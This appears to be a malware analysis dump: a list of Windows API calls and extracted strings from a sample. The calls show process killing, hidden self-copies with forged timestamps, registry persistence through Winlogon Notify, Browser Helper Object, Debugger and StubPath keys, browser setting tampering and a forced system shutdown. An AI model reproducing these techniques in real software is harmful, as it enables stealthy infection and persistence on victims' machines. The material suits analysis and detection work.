ExitProcess.KERNEL32(00000000), ref: 00403BF6
GetProcAddress.KERNEL32(00000000,CreateRemoteThread), ref: 00403C23
LoadLibraryA.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,00000104), ref: 00403C86
GetProcAddress.KERNEL32(00000000,NtAllocateVirtualMemory), ref: 00403C96
GetProcAddress.KERNEL32(00000000,NtWriteVirtualMemory), ref: 00403CA6
GetProcAddress.KERNEL32(00000000,NtShutdownSystem), ref: 00403CB6
GetProcAddress.KERNEL32(00000000,RtlAdjustPrivilege), ref: 00403CC6
RtlAdjustPrivilege.NTDLL(00000014,00000001,00000000,?,?,?,?,?,00000000,NtAllocateVirtualMemory), ref: 00403CE7
GetProcAddress.KERNEL32(00000000,NtOpenProcessToken), ref: 00403D13
GetProcAddress.KERNEL32(00000000,NtQueryInformationToken), ref: 00403D2E
NtQueryInformationToken.NTDLL(?,00000002,00000000,00002000,?), ref: 00403D82
NtQueryInformationToken.NTDLL(?,00000001,00000000,00002000,?), ref: 00403DEC
CloseHandle.KERNEL32(?), ref: 00403E2B
GetProcAddress.KERNEL32(00000000,004070C4), ref: 00403E50
GetCurrentProcessId.KERNEL32(?,?,?,?,00000104), ref: 00403E7F
WSAStartup.WS2_32(00000002,?), ref: 00403E97
GetTickCount.KERNEL32 ref: 00403E9F
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00000104), ref: 00403EA6
GetCurrentThreadId.KERNEL32 ref: 00403EAD
LoadLibraryA.KERNEL32(rasapi32.dll,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00403EDA
GetProcAddress.KERNEL32(00000000,RasEnumConnectionsA), ref: 00403F01
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00403F34
GetProcAddress.KERNEL32(00000000,GetIpAddrTable), ref: 00403F5B
LoadLibraryA.KERNEL32(wininet.dll), ref: 00403FD9
GetProcAddress.KERNEL32(00000000,InternetOpenA), ref: 00404042
GetProcAddress.KERNEL32(00000000,InternetOpenUrlA), ref: 00404052
GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 00404062
GetProcAddress.KERNEL32(00000000,InternetSetOptionA), ref: 00404072
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 00404082
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404347
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000), ref: 00404366
ReadFile.KERNEL32(?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404386
CloseHandle.KERNEL32(?,?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404392
lstrcmpiA.KERNEL32(00000000,007596F8), ref: 0040445F
wsprintfA.USER32 ref: 004044BC
CreateMutexA.KERNEL32(0040F4FC,00000001,qnd_b__-13,?,?,?,?,?,?,?,?,00000000), ref: 004044D0
GetLastError.KERNEL32(qnd_b__-13,?,?,?,?,qnd_b__-13,?,?,?,?,?,?,?,?,00000000), ref: 004044E4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404506
RegDeleteValueA.ADVAPI32(00000000,ShellRegEx,?,?,?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404532
RegCloseKey.ADVAPI32(?,ShellRegEx,?,?,?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 0040453E
GetCurrentProcessId.KERNEL32(?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 0040456E
Process32First.KERNEL32(00000000,?), ref: 0040458C
lstrcmpiA.KERNEL32(00000000,007596F8), ref: 004045C1
OpenProcess.KERNEL32(00100201,00000000,?), ref: 004045DE
Process32Next.KERNEL32(00000000,?), ref: 00404603
CloseHandle.KERNEL32(00000000), ref: 00404613
SetPriorityClass.KERNEL32(?,00000040), ref: 00404633
TerminateProcess.KERNEL32(?,00000000), ref: 00404658
WaitForSingleObject.KERNEL32(007596F9,00001388), ref: 0040468F
CloseHandle.KERNEL32(007596F9,00001388), ref: 00404698
SetFileAttributesA.KERNEL32(?,00000080), ref: 004046BC
DeleteFileA.KERNEL32(?,00000080), ref: 004046C5
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00020019,?,?,?,?,?,?,?,?,qnd_b__-13), ref: 004046F4
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040472B
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412170,?,?,?,0040F4FC,?,00000000), ref: 00404766
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00404790
RegCloseKey.ADVAPI32(?,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004047A1
RegDeleteKeyA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy), ref: 004047BA
RegCloseKey.ADVAPI32(?,?,?,?,0040F4FC,?,00000000), ref: 004047CC
ExitProcess.KERNEL32(00000000,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 004047E2
CloseHandle.KERNEL32(?,?,?,?,qnd_b__-13,?,?,?,?,qnd_b__-13), ref: 00404804
RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 0040484E
RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040487A
RegQueryValueExA.ADVAPI32(?,Extended Flags,00000000,00000000,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 004048B1
RegSetValueExA.ADVAPI32(?,Extended Flags,00000000,00000003,004120C4,0000000C,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004048D7
RegCloseKey.ADVAPI32(?,?,?,?,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,qnd_b__-13), ref: 004048E9
ExpandEnvironmentStringsA.KERNEL32(%ComSpec%,?,00000104,?,?,?,?,?,?,?,004120C4,?,?,?,0040F4FC,?), ref: 00404906
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404925
GetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404954
CloseHandle.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404963
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 00404998
lstrcatA.KERNEL32(?,00411030,?,00000100,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 004049A9
lstrcatA.KERNEL32(00000000,007596F8,?,00411030,?,00000100,?,?,00000104), ref: 004049B0
lstrcpyA.KERNEL32(?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049E6
lstrcatA.KERNEL32(00000000,007596F8,?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049ED
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,%CommonProgramFiles%\System\,?,?,?,?,?,?,00000104), ref: 004049FC
lstrcpyA.KERNEL32(?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A2B
lstrcatA.KERNEL32(00000000,007596F8,?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A32
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,%AppData%\,?,?,?,?,?,?,?,?,?,%CommonProgramFiles%\System\), ref: 00404A48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404A8F
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AA9
WriteFile.KERNEL32(00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC3
CloseHandle.KERNEL32(00000000,00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC9
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404AF2
SetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B1E
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B27
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B3C
CloseHandle.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B48
GetStartupInfoA.KERNEL32(?), ref: 00404B55
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00404B75
ExitProcess.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00000100,?,?,00000104), ref: 00404B7F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000104), ref: 00404BA5
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404BC3
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404BF8
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404C04
CreateThread.KERNEL32(00000000,00001000,00401379,?,00000000,?), ref: 00404C3F
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404C48
RegCreateKeyA.ADVAPI32(80000002,0040F520,?), ref: 00404C95
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404CB5
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404CC6
lstrcatA.KERNEL32(00000000,00759810,?,00411030,?,00000104), ref: 00404CCD
CreateMutexA.KERNEL32(00000000,00000000,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404CF3
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00000104), ref: 00404D0F
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00000104), ref: 00404D1E
Sleep.KERNEL32(000007D0,?,?,?,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404D30
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404D48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404D63
WriteFile.KERNEL32(00000000,0040F580,00000C00,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404D9D
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404E01
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404E3B
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00404E74
SetFileTime.KERNEL32(?,?,?,?), ref: 00404EA9
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00404EB8
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404ED7
RegDeleteValueA.ADVAPI32(?,Debugger,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404EEB
lstrlenA.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404F03
RegSetValueExA.ADVAPI32(?,Debugger,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F1E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 00404F42
GetComputerNameA.KERNEL32(?,?), ref: 00404F72
lstrcpyA.KERNEL32(?,QlC5hT0yHn63XEm5LqJ2OxSkGj2v,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F98
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404FB5
lstrcatA.KERNEL32(?,?), ref: 00404FD2
lstrlenA.KERNEL32(?), ref: 00404FDE
wsprintfA.USER32 ref: 00405088
lstrcpyA.KERNEL32(?,004101C0), ref: 004050C3
lstrcatA.KERNEL32(00000000,{36303932-3930-3630-3932-393036303932},?,004101C0), ref: 004050CE
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 004050E4
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040510D
lstrcatA.KERNEL32(?,00411030), ref: 0040511E
lstrcatA.KERNEL32(00000000,00759A18,?,00411030), ref: 00405125
CreateMutexA.KERNEL32(00000000,00000000,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 0040514B
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00411030), ref: 00405167
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00411030), ref: 00405176
Sleep.KERNEL32(000007D0,?,?,?,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 00405188
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 004051A0
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004051BB
WriteFile.KERNEL32(00000000,00410200,00000800,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004051F5
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 0040525A
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405291
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 004052CB
SetFileTime.KERNEL32(?,?,?,?), ref: 00405300
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 0040530F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040532E
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,00000001,00000004,?,?,?,?,?,00000000,00000000), ref: 0040536A
lstrlenA.KERNEL32(?,00000004,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00405373
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 0040538E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 004053B2
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 004053C7
RegDeleteValueA.ADVAPI32(00000000,ShellRegEx), ref: 004053F3
RegCloseKey.ADVAPI32(?,ShellRegEx), ref: 00405402
lstrcmpiA.KERNEL32(?), ref: 00405445
lstrcmpiA.KERNEL32(?,?), ref: 00405464
SetFileAttributesA.KERNEL32(?,00000080), ref: 00405480
DeleteFileA.KERNEL32(?,00000080), ref: 00405489
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004054B0
GetFileSize.KERNEL32(00000000,00000000), ref: 004054CE
CloseHandle.KERNEL32(?), ref: 004054ED
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040551E
lstrcpyA.KERNEL32(?), ref: 004055C0
lstrcpyA.KERNEL32(?,?,?), ref: 004055D5
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?), ref: 00405610
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,?,?), ref: 0040562C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?), ref: 0040564B
GetTempPathA.KERNEL32(00000104,?,?,?,00000104,?,?,?), ref: 00405673
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,?,?,?,?,00000104,?,?,?), ref: 00405693
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,00000104,?,?,?), ref: 004056B6
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056EA
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056F6
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000), ref: 00405715
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405760
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405771
lstrcatA.KERNEL32(00000000,00759838,?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405778
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00759838,?,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 00405783
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00411030,?,00000104), ref: 0040579E
WriteFile.KERNEL32(?,00407C80,00001400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 004057DC
SetFileTime.KERNEL32(?,?,?,?), ref: 0040580A
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405819
GetLastError.KERNEL32(?,?,?,00000080,00000000,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 0040586E
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058AC
lstrcatA.KERNEL32(?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058BB
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058C6
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080), ref: 004058E1
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080,00000000,00411030), ref: 004058FD
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 0040591B
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405927
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405932
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 0040594D
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080,00000000), ref: 00405969
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040599B
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059C0
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059CF
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 004059DA
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104), ref: 004059F5
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A27
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A33
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A50
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A5C
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A67
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 00405A82
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405AB4
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104), ref: 00405AC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00006400,?,00000000), ref: 00405AF8
RegOpenKeyExA.ADVAPI32(80000002,00410A40,00000000,00020006,?,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405B2E
RegOpenKeyExA.ADVAPI32(80000001,00410A40,00000000,00020006,?), ref: 00405B4F
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405B79
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 00405B95
RegCloseKey.ADVAPI32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405BA7
RegCreateKeyA.ADVAPI32(80000002,00410A80,?), ref: 00405BF2
RegSetValueExA.ADVAPI32(?,00410AB5,00000000,00000004,?,00000004), ref: 00405C1B
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405C2A
RegOpenKeyExA.ADVAPI32(80000002,00410AE0,00000000,00020006,?,?,?,?,?), ref: 00405C9C
RegSetValueExA.ADVAPI32(?,00410B03,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405CC5
RegSetValueExA.ADVAPI32(?,00410B15,00000000,00000004,?,00000004,?,00410B03,00000000,00000004,?,00000004), ref: 00405CDD
RegSetValueExA.ADVAPI32(?,00410B2C,00000000,00000004,?,00000004,?,00410B15,00000000,00000004,?,00000004,?,00410B03,00000000,00000004), ref: 00405CF5
RegSetValueExA.ADVAPI32(?,00410B42,00000000,00000004,?,00000004,?,00410B2C,00000000,00000004,?,00000004,?,00410B15,00000000,00000004), ref: 00405D0D
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405D1C
RegOpenKeyExA.ADVAPI32(80000002,00410B60,00000000,0002001F,?,?,?,?,?,00020006,?,?,?,?,?), ref: 00405D52
RegDeleteValueA.ADVAPI32(?,00000000,?,?,?,0002001F,?,?,?,?,?,00020006,?), ref: 00405DCE
RegEnumValueA.ADVAPI32(?,?,00000000,?,00000000,?,00004000,00004000), ref: 00405E0A
wsprintfA.USER32 ref: 00405E24
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001,?,?,?,?,0002001F,?), ref: 00405E3B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?), ref: 00405E54
CreateThread.KERNEL32(00000000,00010000,00402818,00000002,00000000,?), ref: 00405E77
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405E80
SetFileAttributesA.KERNEL32(?,00000021), ref: 00405F00
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 00405F1D
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,00000001,00000004), ref: 00405F5D
lstrlenA.KERNEL32(?,00000004), ref: 00405F66
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001), ref: 00405F81
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00405F90
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 00405FAC
RegCreateKeyA.ADVAPI32(80000002,0040F520,?), ref: 00405FC6
lstrlenA.KERNEL32(?), ref: 00405FE6
RegSetValueExA.ADVAPI32(?,Debugger,00000000,00000001,?,00000001), ref: 00406001
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00406010
RegOpenKeyExA.ADVAPI32(80000002,00410A40,00000000,00020006,?), ref: 00406039
RegOpenKeyExA.ADVAPI32(80000001,00410A40,00000000,00020006,?), ref: 0040605A
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?), ref: 00406071
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040608D
RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040609C
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 004060D6
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 00406102
RegSetValueExA.ADVAPI32(?,ShellRegEx,00000000,00000003,?,0000022A,?,?,0040F4FC,?,00000000), ref: 0040612E
RegCloseKey.ADVAPI32(?,0000022A,?,?,0040F4FC,?,00000000,?,?,?,?,?,?,?,?,00000001), ref: 0040613D
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00406152
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?), ref: 0040617C
lstrlenA.KERNEL32(?), ref: 0040619C
RegSetValueExA.ADVAPI32(?,DLLName,00000000,00000001,?,00000001), ref: 004061B7
RegSetValueExA.ADVAPI32(?,Startup,00000000,00000001,Startup,00000008,?,DLLName,00000000,00000001,?,00000001), ref: 004061D3
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 004061E2
RegCreateKeyA.ADVAPI32(80000000,CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32,?), ref: 00406204
lstrlenA.KERNEL32(?), ref: 0040621B
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,?,00000001), ref: 00406233
RegSetValueExA.ADVAPI32(?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?,00000001), ref: 0040624F
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 0040625E
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC},?), ref: 00406271
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00406287
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 0040629C
Sleep.KERNEL32(000003E8,00000021,?,?,?,?,?,?,?,00000001), ref: 004062A9
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 004062DF
RegQueryValueExA.ADVAPI32(?,g00d d0gg,00000000,00000000,?,?,?,?,00000000,?,00000000), ref: 0040631D
RegSetValueExA.ADVAPI32(?,g00d d0gg,00000000,00000004,?,00000004,?,?,?,?,?,?,00000000,?,00000000), ref: 00406356
RegDeleteValueA.ADVAPI32(?,g00d d0gg,?,?,?,?,?,?,00000000,?,00000000), ref: 0040636F
Sleep.KERNEL32(00001388,g00d d0gg,?,?,?,?,?,?,00000000,?,00000000), ref: 0040637C
RtlAdjustPrivilege.NTDLL(00000013,00000001,00000000,?), ref: 0040639B
NtShutdownSystem.NTDLL(00000001), ref: 004063A6
ExitWindowsEx.USER32(00000006,00000000), ref: 004063B8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 004063CA
CloseHandle.KERNEL32(?), ref: 004063E1
RegCloseKey.ADVAPI32(?,?,?,?,00412170,?,?,?,0040F4FC,?,00000000), ref: 004063F8
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,qnd_b__-13), ref: 00406409

Strings

NtQueryInformationToken, xrefs: 00403D28
Default Flags, xrefs: 0040475A, 00404784
winlogon.exe, xrefs: 00405823
firefox.exe, xrefs: 00405ED0
--k33p, xrefs: 00403AD9
%02X, xrefs: 004044B2
Extended Flags, xrefs: 004048A5, 004048CB
%AppData%\, xrefs: 00404A1E, 0040560B, 004058A7, 004059BB
QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 00404F8B
InternetOpenA, xrefs: 0040403C
InternetCloseHandle, xrefs: 0040407C
IsInstalled, xrefs: 0040535E, 00405F51
.dll, xrefs: 00404428, 00404439
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 004060CC, 004060F8, 004062D5
ThreadingModel, xrefs: 00406243
{10F5781A-0D97-0F99-EF77-BA382916E579}, xrefs: 00405142
{9703941E-446E-952F-954A-3DA8A91ED84F}, xrefs: 00404CEA
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004046EA, 00404721, 004047B0, 00404844, 00404870
tmp, xrefs: 00405626, 0040568D
RtlAdjustPrivilege, xrefs: 00403CC0
qnd_b__-13, xrefs: 004044C4
Both, xrefs: 0040623A
iexplore.exe, xrefs: 00405ED5
NtAllocateVirtualMemory, xrefs: 00403C90
CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32, xrefs: 004061FA
